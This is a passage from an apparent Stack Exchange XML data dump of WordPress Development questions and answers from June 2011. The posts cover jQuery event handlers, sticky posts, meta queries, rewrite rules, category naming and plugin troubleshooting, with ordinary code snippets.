jQuery('img',html).attr('src');&#xA;        jQuery('#' + id_to_pass).val(imgurl);&#xA;        tb_remove();&#xA;    }&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I then view the DOM using Firebug, I can see that my input boxes appear correctly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;upload_wrapper&quot; style=&quot;margin:0; padding:0;&quot;&amp;gt;&#xA;&amp;lt;label&amp;gt;Attach Image&amp;lt;/label&amp;gt;&#xA;&amp;lt;p&amp;gt;&#xA;&amp;lt;input id=&quot;upload_image-1&quot; type=&quot;text&quot; value=&quot;&quot; name=&quot;upload_image&quot; size=&quot;36&quot;&amp;gt;&#xA;&amp;lt;input id=&quot;upload_image_button-1&quot; type=&quot;button&quot; value=&quot;Upload Image&quot;&amp;gt;&#xA;&amp;lt;span&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&#xA;&amp;lt;input id=&quot;upload_image-2&quot; type=&quot;text&quot; value=&quot;&quot; name=&quot;upload_image&quot; size=&quot;36&quot;&amp;gt;&#xA;&amp;lt;input id=&quot;upload_image_button-2&quot; type=&quot;button&quot; value=&quot;Upload Image&quot;&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&#xA;&amp;lt;input id=&quot;upload_image-3&quot; type=&quot;text&quot; value=&quot;&quot; name=&quot;upload_image&quot; size=&quot;36&quot;&amp;gt;&#xA;&amp;lt;input id=&quot;upload_image_button-3&quot; type=&quot;button&quot; value=&quot;Upload Image&quot;&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Yet only the first button opens the upload frame?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="6344" LastActivityDate="2011-06-29T18:03:20.927" Title="Why won't this jQuery code work?" Tags="&lt;custom-post-types&gt;&lt;jquery&gt;&lt;media-upload&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="21353" PostTypeId="1" CreationDate="2011-06-28T21:08:17.350" Score="0" ViewCount="48" Body="&lt;p&gt;How I could made a sql query who retrieve all the sticky post in a wordpress database? This is because we use a new app over the old wordpress website database, and I don't know where Wordpress &quot;store&quot; the sticky attribute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="3251" LastActivityDate="2011-08-28T04:35:51.690" Title="How to retrieve sticky post in raw sql?" Tags="&lt;sql&gt;&lt;sticky-post&gt;" AnswerCount="1" />
  <row Id="21354" PostTypeId="2" ParentId="21353" CreationDate="2011-06-28T21:19:58.210" Score="0" ViewCount="" Body="&lt;p&gt;It's not stored as attribute, but as list of all stickies. Snippet from core:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sticky_posts = get_option('sticky_posts');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So look for the option and then use IDs to retrieve posts.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-28T21:19:58.210" CommentCount="2" />
  <row Id="21355" PostTypeId="1" CreationDate="2011-06-28T21:26:58.253" Score="0" ViewCount="50" Body="&lt;p&gt;Im trying to remove / filter our all the classes from the wp_nav_menu, EXCEPT the custom ones that i insert (in the &quot;CSS Classes (optional)&quot; field) when creating the menu in the admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a function that removes EVERYTHING, but thats no good&lt;/p&gt;&#xA;&#xA;&lt;p&gt;anybody got any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks!&lt;/p&gt;&#xA;" OwnerUserId="6574" LastActivityDate="2011-08-21T20:33:04.553" Title="Filter out built-in wp_nav_menu classes but keep custom class" Tags="&lt;custom-menus&gt;" AnswerCount="2" />
  <row Id="21356" PostTypeId="1" AcceptedAnswerId="21358" CreationDate="2011-06-28T21:39:37.610" Score="0" ViewCount="68" Body="&lt;p&gt;I am building a new theme for my site, and I was wondering which is the simplest/lite theme with only the files needed like single.php index.php author.php and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read about wordpress themes and what files I have to include but I will have to code the default functions like wp-comments if I start from here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I am looking for a lite theme to start over.&lt;/p&gt;&#xA;" OwnerUserId="4448" LastActivityDate="2011-06-28T22:19:09.267" Title="Which is the simplest theme for Wordpress to use it as your base?" Tags="&lt;theme-development&gt;&lt;themes&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="21357" PostTypeId="2" ParentId="21356" CreationDate="2011-06-28T21:48:22.010" Score="1" ViewCount="" Body="&lt;p&gt;I would recommend either TwentyTen or TwentyEleven as great, basic starter Themes. Both include a few nice bells and whistles, but for the most part are straight-forward, simple Themes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, can you clarify a little more specifically what you're looking for? For example, you mention that you are looking for a Theme that includes &quot;only the files needed&quot;, but then list two entirely unnecessary files, &lt;code&gt;single.php&lt;/code&gt; and (especially) &lt;code&gt;author.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you want a Theme that is easy to modify? Easy to override with a Child Theme? Easy to grok the underlying code? What are your &lt;em&gt;specific&lt;/em&gt; needs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's what I mean about being more &lt;em&gt;specific&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How are &lt;em&gt;we&lt;/em&gt; supposed to know what is &quot;useless&quot; for &lt;em&gt;you&lt;/em&gt;? &lt;/li&gt;&#xA;&lt;li&gt;What Theme template files do you consider to be &quot;necessary&quot;? Especially considering that only 3 files are truly &quot;necessary&quot; - &lt;code&gt;index.php&lt;/code&gt;, &lt;code&gt;style.css&lt;/code&gt;, and &lt;code&gt;comments.php&lt;/code&gt; - if you consider other template files to be &quot;necessary&quot;, then you'll have to communicate your needs more clearly.&lt;/li&gt;&#xA;&lt;li&gt;What &quot;main functions&quot; do you want the Theme to include?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-06-28T22:19:09.267" LastActivityDate="2011-06-28T22:19:09.267" CommentCount="2" />
  <row Id="21358" PostTypeId="2" ParentId="21356" CreationDate="2011-06-28T21:48:42.493" Score="1" ViewCount="" Body="&lt;p&gt;asked a few times, this link has some good answers &lt;a href=&quot;http://wordpress.stackexchange.com/questions/16034/opinions-and-recommendations-on-the-best-barebones-base-theme&quot;&gt;Opinions and recommendations on the best barebones base theme&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-06-28T21:48:42.493" CommentCount="4" />
  <row Id="21359" PostTypeId="2" ParentId="10838" CreationDate="2011-06-28T22:10:52.507" Score="0" ViewCount="" Body="&lt;ol&gt;&#xA;&lt;li&gt;Under Gallery Settings, set &quot;Number of images per page&quot; to 1.  &lt;/li&gt;&#xA;&lt;li&gt;Then check the box for &quot;Add hidden images.&quot;  This should display just the first thumbnail in you gallery, and when you click on it, you can navigate through them in a lightbox.  &lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then you have to remove the page navigation at the bottom of that first thumbnail.  There are a couple ways to do this, but the one I used is below. Locate /plugins/nextgen-gallery/&lt;strong&gt;nggfunctions.php&lt;/strong&gt; Before you make any changes, you may want to make a copy of the unmodified file for later.  Find the both instances of the code below and edit.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// check for page navigation if&#xA;($maxElement &amp;gt; 0)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;change to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // check for page navigation if&#xA;    ($maxElement &amp;gt; 1)&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will make it so that the page navigation only kicks in if you have more than one image per page (what we set in step 1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;/questions/tagged/nextgen&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'nextgen'&quot; rel=&quot;tag&quot;&gt;nextgen&lt;/a&gt; &lt;a href=&quot;/questions/tagged/next-gen&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'next-gen'&quot; rel=&quot;tag&quot;&gt;next-gen&lt;/a&gt; &lt;a href=&quot;/questions/tagged/gallery&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'gallery'&quot; rel=&quot;tag&quot;&gt;gallery&lt;/a&gt; &lt;a href=&quot;/questions/tagged/lightbox&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'lightbox'&quot; rel=&quot;tag&quot;&gt;lightbox&lt;/a&gt; &lt;a href=&quot;/questions/tagged/open-in-lightbox&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'open-in-lightbox'&quot; rel=&quot;tag&quot;&gt;open-in-lightbox&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6577" LastEditorUserId="6577" LastEditorDisplayName="" LastEditDate="2011-06-28T22:19:22.117" LastActivityDate="2011-06-28T22:19:22.117" />
  <row Id="21360" PostTypeId="1" CreationDate="2011-06-28T22:41:08.010" Score="1" ViewCount="47" Body="&lt;p&gt;I'd like to be able to set a wordpress theme for certain subdomains, but still load the same content for all installations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have www.domain.com that loads the default template with default content. I'd also like to have mobile.domain.com, that too loads the same content but a separate template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the best way to go about this?&lt;/p&gt;&#xA;" OwnerUserId="6578" LastActivityDate="2011-06-28T22:41:08.010" Title="Load template for specific subdomain" Tags="&lt;subdomains&gt;" CommentCount="2" />
  <row Id="21361" PostTypeId="2" ParentId="21352" CreationDate="2011-06-28T22:42:12.240" Score="2" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;jQuery('a#add_media').click(function() {&#xA;    input_code = '&amp;lt;p&amp;gt;' +&#xA;        '&amp;lt;input id=&quot;upload_image-' + i + '&quot; type=&quot;text&quot; size=&quot;36&quot; name=&quot;upload_image&quot; value=&quot;&quot; /&amp;gt;' +&#xA;        '&amp;lt;input id=&quot;upload_image_button-' + i + '&quot; type=&quot;button&quot; value=&quot;Upload Image&quot; /&amp;gt;' +&#xA;        '&amp;lt;/p&amp;gt;';&#xA;    jQuery(input_code).appendTo('#upload_wrapper');&#xA;    i++;&#xA;});&#xA;&#xA;jQuery('[id^=&quot;upload_image_button&quot;]').click(function() {&#xA;    ...&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Okay, here's your basic problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first bit of the code adds a function to the click handler on the add_media link, which adds another bit of input HTML code to the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second bit of the code adds a function to the click handler of anything starting with the upload_image_button ID's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that you're misunderstanding how javascript works in the DOM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the time that the above code runs, only two things are happening:&#xA;a) The a#add_media button is getting its click handler modified, and&#xA;b) Any element in the DOM starting with upload_image_button is getting its click handler modified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the inputs that you're adding later aren't in the DOM yet. They don't exist as elements on the page... yet. So when you add them to the page later, they don't have the modified click handlers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;jQuery().click() is a direct modification to the DOM. It's modifying the elements specified, but it's not retroactive. Adding things to the page later doesn't make it magically reverse time and add the functions to the new elements added to the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix it, you need to modify your code to have it add your click handler to the newly created elements as well, after you append them to the upload_wrapper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, your inputs all have the same name=&quot;upload_image&quot; bits, which won't work if you're trying to save that resulting information later. name=&quot;upload_image[]&quot; will work though, because of PHP array handling.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-06-28T22:42:12.240" CommentCount="3" />
  <row Id="21362" PostTypeId="1" CreationDate="2011-06-28T22:59:02.180" Score="0" ViewCount="17" Body="&lt;p&gt;It's easy to sort posts via a custom field using the wp_query class, but I can't seem to find a way to sort the results by a custom field but ALSO return back posts that may or may not have that custom field set. &lt;/p&gt;&#xA;" OwnerUserId="4229" LastActivityDate="2011-06-28T22:59:02.180" Title="how to sort query by a custom field but also include posts without the custom field set" Tags="&lt;wp-query&gt;&lt;sort&gt;" />
  <row Id="21365" PostTypeId="1" CreationDate="2011-06-28T23:54:35.227" Score="0" ViewCount="48" Body="&lt;p&gt;I'm using the WP-Backgrounds Lite to add custom background images to my site and I've got it all setup and working locally but when I upload it the entire site and have to active the plugin once on the server, it gives me this error: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parse error: syntax error, unexpected T_STRING, expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR or '}' in /home/nextphas/public_html/testsite/globus/globus/wp-content/plugins/wp-backgrounds-lite/inoplugs_classes/inoplugs_background_display.php on line 12&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have the same issue on my local server, and I've tried deleting it and reinstalling it from the source still the same issue.&lt;/p&gt;&#xA;" OwnerUserId="4304" LastActivityDate="2011-06-28T23:54:35.227" Title="WP-Backgrounds Lite - works locally not on server!" Tags="&lt;plugins&gt;" CommentCount="2" />
  <row Id="21366" PostTypeId="1" AcceptedAnswerId="21369" CreationDate="2011-06-28T23:54:45.927" Score="3" ViewCount="38" Body="&lt;p&gt;How can I build a query to find posts that DO NOT contain a certain meta key or meta value? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts( array( &#xA;    'meta_query' =&amp;gt; array(&#xA;        array( 'key' =&amp;gt; 'feature', 'value' =&amp;gt; '_wp_zero_value', 'compare' =&amp;gt; '!=' )         )&#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4229" LastEditorUserId="1685" LastEditorDisplayName="" LastEditDate="2011-06-28T23:56:45.770" LastActivityDate="2011-06-29T00:05:46.343" Title="how to show posts that are missing a meta_value" Tags="&lt;wp-query&gt;&lt;meta-query&gt;" AnswerCount="1" />
  <row Id="21367" PostTypeId="1" AcceptedAnswerId="21371" CreationDate="2011-06-28T23:56:46.477" Score="1" ViewCount="45" Body="&lt;p&gt;For example, if I create a post type called &quot;destinations&quot; does that automatically create capabilities like &quot;edit_destinations&quot; or &quot;delete_destinations&quot;?&lt;/p&gt;&#xA;" OwnerUserId="1226" LastActivityDate="2011-06-29T19:43:20.013" Title="When you create a custom post type, does that also create capabilities for editing/deleting that post type automatically?" Tags="&lt;custom-post-types&gt;&lt;capabilities&gt;" AnswerCount="2" />
  <row Id="21369" PostTypeId="2" ParentId="21366" CreationDate="2011-06-29T00:05:46.343" Score="4" ViewCount="" Body="&lt;p&gt;Getting posts without a certain meta &lt;em&gt;key&lt;/em&gt; is a little tricky, namely due to the database design and the nature of SQL joins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AFAIK, the most efficient way would be to actually grab the post IDs that &lt;em&gt;do&lt;/em&gt; have the meta key, and then exclude them from your query.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// get all post IDs that *have* 'meta_key' with a non-empty value&#xA;$posts = $wpdb-&amp;gt;get_col( &quot;SELECT post_id FROM $wpdb-&amp;gt;postmeta WHERE meta_key = 'my_key' AND meta_value != ''&quot; );&#xA;&#xA;// get all posts *excluding* the ones we just found&#xA;query_posts( array( 'post__not_in' =&amp;gt; $posts ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-06-29T00:05:46.343" />
  <row Id="21371" PostTypeId="2" ParentId="21367" CreationDate="2011-06-29T00:30:57.780" Score="3" ViewCount="" Body="&lt;p&gt;It does not automatically create that capability in the sense that there is no new capability registered with WordPress. Instead it defaults to use the capabilities assigned to creating/editing posts. For example, if an author logs in they will be able to create and publish a new destination entry by default. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can override this with the &lt;code&gt;capabilities&lt;/code&gt; value when using &lt;code&gt;register_post_type&lt;/code&gt;. See Justin Tadlock's excellent tutorial here &lt;a href=&quot;http://justintadlock.com/archives/2010/04/29/custom-post-types-in-wordpress&quot; rel=&quot;nofollow&quot;&gt;http://justintadlock.com/archives/2010/04/29/custom-post-types-in-wordpress&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5376" LastActivityDate="2011-06-29T00:30:57.780" CommentCount="1" />
  <row Id="21372" PostTypeId="1" AcceptedAnswerId="21375" CreationDate="2011-06-29T00:31:20.260" Score="2" ViewCount="52" Body="&lt;p&gt;Okay, let's assume that I want to create a dynamic &quot;printable&quot; page using a system that doesn't play well with wordpress's theming engine, is there a way for me to define a &quot;permalink&quot; in my plugin that will call a predefined function, also in my plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're familiar with Drupal it's similar to how their hook_menu works, but I only need it on a very limited basis, so it doesn't have to be that robust.&lt;/p&gt;&#xA;" OwnerUserId="6582" LastActivityDate="2011-06-29T01:19:11.873" Title="Creating a path in a plugin to call a function" Tags="&lt;plugin-development&gt;&lt;permalinks&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="21373" PostTypeId="1" CreationDate="2011-06-29T00:37:46.847" Score="0" ViewCount="43" Body="&lt;p&gt;I have an excel sheet with 423 categories consisting of US States &gt; Military Bases. Is there a way I can reformat the excel sheet and import the categories into the wordpress database? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to use PHPMyAdmin but am unsure how to structure the SQL query. &lt;/p&gt;&#xA;" OwnerUserId="6583" LastActivityDate="2011-08-29T23:36:37.110" Title="How to add categories using mysql" Tags="&lt;categories&gt;&lt;mysql&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="21374" PostTypeId="1" CreationDate="2011-06-29T00:44:38.157" Score="0" ViewCount="45" Body="&lt;p&gt;The wordpress codex says that a category and subcategory cannot have the same name, even if the subcategory has a different parent. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm going to run into this exact situation and am trying to think of a solution. My categories will be US States &gt; Military Bases &gt; Neighborhoods. The problem is that neighborhoods from different bases may have the same name. Like a subdivision called &quot;Stonebridge&quot; near Shaw AFB and Travis AFB. Apparently this will not work in wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody think of a way to structure my categories to get around this limitation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Casey&lt;/p&gt;&#xA;" OwnerUserId="6583" LastActivityDate="2011-07-29T03:33:08.943" Title="Subcategories with the same name" Tags="&lt;categories&gt;" AnswerCount="1" />
  <row Id="21375" PostTypeId="2" ParentId="21372" CreationDate="2011-06-29T00:52:51.163" Score="4" ViewCount="" Body="&lt;p&gt;Something along the lines of this would probably do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse21372_init(){&#xA;  add_rewrite_rule( 'your-page-regex/?$', 'index.php?wpse21372=1', 'top' );&#xA;  add_rewrite_tag( '%wpse21372%', '([^&amp;amp;]+)' );&#xA;}&#xA;&#xA;add_action( 'wp', 'wpse21372_wp' );&#xA;&#xA;function wpse21372_wp( $wp ){&#xA;  if( isset( $wp-&amp;gt;query_vars['wpse21372'] ) &amp;amp;&amp;amp; !empty( $wp-&amp;gt;query_vars['wpse21372'] ) ){&#xA;    //You're on your custom page.&#xA;    //you may want to exit page&#xA;    //execution when you're done&#xA;    //so the rest of WordPress'&#xA;    //normal execution doesn't take&#xA;    //over from here.&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After you're done adding that code, make sure you flush the rewrite rules by going to Settings -&gt; Permalinks.&lt;/p&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2011-06-29T01:19:11.873" LastActivityDate="2011-06-29T01:19:11.873" CommentCount="4" />
  <row Id="21376" PostTypeId="2" ParentId="21373" CreationDate="2011-06-29T00:56:29.523" Score="1" ViewCount="" Body="&lt;p&gt;You would want to create an array of those values from your spreadsheet and loop through them to call the &lt;code&gt;wp_insert_category&lt;/code&gt; function on each one.&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_category&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_insert_category&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5376" LastActivityDate="2011-06-29T00:56:29.523" />
  <row Id="21377" PostTypeId="2" ParentId="21374" CreationDate="2011-06-29T01:15:46.260" Score="1" ViewCount="" Body="&lt;p&gt;Two categories can have the same name (title) as long as they are not both parent (top level) categories and are not both children of the same parent category. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;No two categories can have the same nicename (slug). If there is a collision when creating a child category, WordPress will append the slug of the parent to the slug of the newly created child category (child-name-parent-name). If there is a collision when creating a top level category a number will be appended to the end of the slug (category-2).&lt;/p&gt;&#xA;" OwnerUserId="5376" LastActivityDate="2011-06-29T01:15:46.260" />
  <row Id="21378" PostTypeId="2" ParentId="21341" CreationDate="2011-06-29T02:21:55.457" Score="3" ViewCount="" Body="&lt;p&gt;When I added the drawbacks to the Codex, I was mainly thinking of using the 'request' filter as an alternative to query_posts().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That filter is only run for the main query, so that solves the problem with 'pre_get_posts', which fires for every query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The downside is that you don't have access to query flags like is_single() etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's one way you could get access to them, without actually doing the SQL queries:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function alter_the_query( $request ) {&#xA;    $dummy_query = new WP_Query();  // the query isn't run if we don't pass any query vars&#xA;    $dummy_query-&amp;gt;parse_query( $request );&#xA;&#xA;    // this is the actual manipulation; do whatever you need here&#xA;    if ( $dummy_query-&amp;gt;is_home() )&#xA;        $request['category_name'] = 'news';&#xA;&#xA;    return $request;&#xA;}&#xA;add_filter( 'request', 'alter_the_query' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="205" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-06-29T10:53:21.473" LastActivityDate="2011-06-29T10:53:21.473" CommentCount="8" />
  <row Id="21379" PostTypeId="1" CreationDate="2011-06-29T02:22:31.640" Score="1" ViewCount="56" Body="&lt;p&gt;Yo, &#xA;Sidebar login used to say &quot;Welcome %username%&quot; without a problem until I applied __() to the &quot;Welcome&quot; string. Since then the welcome message just says &quot;Welcome&quot; (in all languages) but i can't bring that username back in there to save my life.&#xA;What am I doing wrong? Here's how it looks:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;function widget_wp_sidebarlogin($args) {&#xA;        global $user_ID, $current_user;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    /* To add more extend i.e when terms came from themes - suggested by dev.xiligroup.com */&#xA;    $defaults = array(&#xA;        'thelogin'=&amp;gt;__('Login'),&#xA;        'thewelcome'=&amp;gt;__('Welcome'),&#xA;        'theusername'=&amp;gt;__('Username:','sblogin'),&#xA;        'thepassword'=&amp;gt;__('Password:','sblogin'),&#xA;        'theremember'=&amp;gt;__('Remember me','sblogin'),&#xA;        'theregister'=&amp;gt;__('Register','sblogin'),&#xA;        'thepasslostandfound'=&amp;gt;__('Password Lost and Found','sblogin'),&#xA;        'thelostpass'=&amp;gt; __('Lost your password?','sblogin'),&#xA;        'thelogout'=&amp;gt; __('Logout','sblogin')&#xA;    );&#xA;&#xA;    $args = array_merge($defaults, $args);&#xA;    extract($args);     &#xA;&#xA;    get_currentuserinfo();&#xA;&#xA;    if ($user_ID != '') {&#xA;        // User is logged in&#xA;&#xA;        global $current_user;&#xA;        get_currentuserinfo();&#xA;&#xA;        if (empty($thewelcome)) $thewelcome = str_replace('%username%',ucwords($current_user-&amp;gt;display_name),get_option('sidebarlogin_welcome_heading'));&#xA;&#xA;        echo $before_widget . $before_title . __(&quot;Welcome&quot;) . $user_info-&amp;gt;user_login . $after_title;&#xA;&#xA;        if (get_option('sidebar_login_avatar')=='yes') echo '&amp;lt;div class=&quot;avatar_container&quot;&amp;gt;'.get_avatar($user_ID, $size = '38').'&amp;lt;/div&amp;gt;';&#xA;&#xA;        echo '&amp;lt;ul class=&quot;pagenav&quot;&amp;gt;';&#xA;&#xA;        if(isset($current_user-&amp;gt;user_level) &amp;amp;&amp;amp; $current_user-&amp;gt;user_level) $level = $current_user-&amp;gt;user_level;&#xA;&#xA;        $links = do_shortcode(trim(get_option('sidebarlogin_logged_in_links')));&#xA;&#xA;        $links = explode(&quot;\n&quot;, $links);&#xA;        if (sizeof($links)&amp;gt;0)&#xA;        foreach ($links as $l) {&#xA;            $l = trim($l);&#xA;            if (!empty($l)) {&#xA;                $link = explode('|',$l);&#xA;                if (isset($link[1])) {&#xA;                    $cap = strtolower(trim($link[1]));&#xA;                    if ($cap=='true') {&#xA;                        if (!current_user_can( 'manage_options' )) continue;&#xA;                    } else {&#xA;                        if (!current_user_can( $cap )) continue;&#xA;                    }&#xA;                }&#xA;                // Parse %USERNAME%&#xA;                $link[0] = str_replace('%USERNAME%',$current_user-&amp;gt;user_login,$link[0]);&#xA;                $link[0] = str_replace('%username%',$current_user-&amp;gt;user_login,$link[0]);&#xA;                // Parse %USERID%&#xA;                $link[0] = str_replace('%USERID%',$current_user-&amp;gt;ID,$link[0]);&#xA;                $link[0] = str_replace('%userid%',$current_user-&amp;gt;ID,$link[0]);&#xA;                echo '&amp;lt;li class=&quot;page_item&quot;&amp;gt;'.$link[0].'&amp;lt;/li&amp;gt;';&#xA;            }&#xA;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Gracias...&lt;/p&gt;&#xA;" OwnerUserId="6436" LastActivityDate="2011-06-29T05:08:33.053" Title="Sidebar login: How do I get the username to show after &quot;Welcome&quot;?" Tags="&lt;code&gt;" AnswerCount="2" />
  <row Id="21380" PostTypeId="1" CreationDate="2011-06-29T02:47:40.050" Score="1" ViewCount="40" Body="&lt;p&gt;I'm looking for a good RSS importer to use on my WordPress installation. The current one isn't importing images properly, and I don't want to fix it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It needs to be an automated importer. Where I give it the link to the feed and it auto imports automatically every set interval. It also needs to import into a category, not a page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently using FeedWordPress, just so no one suggests that as an option.&lt;/p&gt;&#xA;" OwnerUserId="6506" LastActivityDate="2011-06-29T04:47:01.943" Title="What's a good RSS Importer?" Tags="&lt;rss&gt;&lt;wordpress.com&gt;&lt;feed&gt;&lt;import&gt;" AnswerCount="1" />
  <row Id="21381" PostTypeId="1" CreationDate="2011-06-29T02:49:59.570" Score="-1" ViewCount="20" Body="&lt;p&gt;Using plugins like &quot;Members&quot; or &quot;Capability Manager&quot;, I don't see any such &lt;code&gt;manage_tags&lt;/code&gt; capability. Shouldn't there be one like there is &lt;code&gt;manage_categories&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I think I figured it out. manage_terms is for all taxonomies. There isn't one specifically for tags, but I could create one if I so desire. This could allow me to set up a role that can edit only categories, but not tags, and vice versa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: I got rated down. If you rate me down, &lt;em&gt;please state why&lt;/em&gt;. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1226" LastEditorUserId="1226" LastEditorDisplayName="" LastEditDate="2011-06-29T07:41:08.483" LastActivityDate="2011-06-29T07:41:08.483" Title="How come I see a manage_categories capability but not a manage_tags capability for any users?" Tags="&lt;capabilities&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="21382" PostTypeId="1" AcceptedAnswerId="21384" CreationDate="2011-06-29T02:55:18.130" Score="0" ViewCount="38" Body="&lt;p&gt;I have a custom page type, called App. This has details like the name, description, thumbnail image, and some custom fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I have posts about this app, that I'd like to associate with it. In the end, I'd like to be able to view the custom post type and all the posts that are associated with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I don't see any way to associate a post with anything besides a category or tag. But categories and tags don't allow for custom fields, images, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the only way to create a category with the same name as the custom post type, and then do something like have a custom field in that custom post type that has the ID of that category?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6585" LastActivityDate="2011-06-29T03:10:25.343" Title="Associate custom post types with normal posts" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;" AnswerCount="1" />
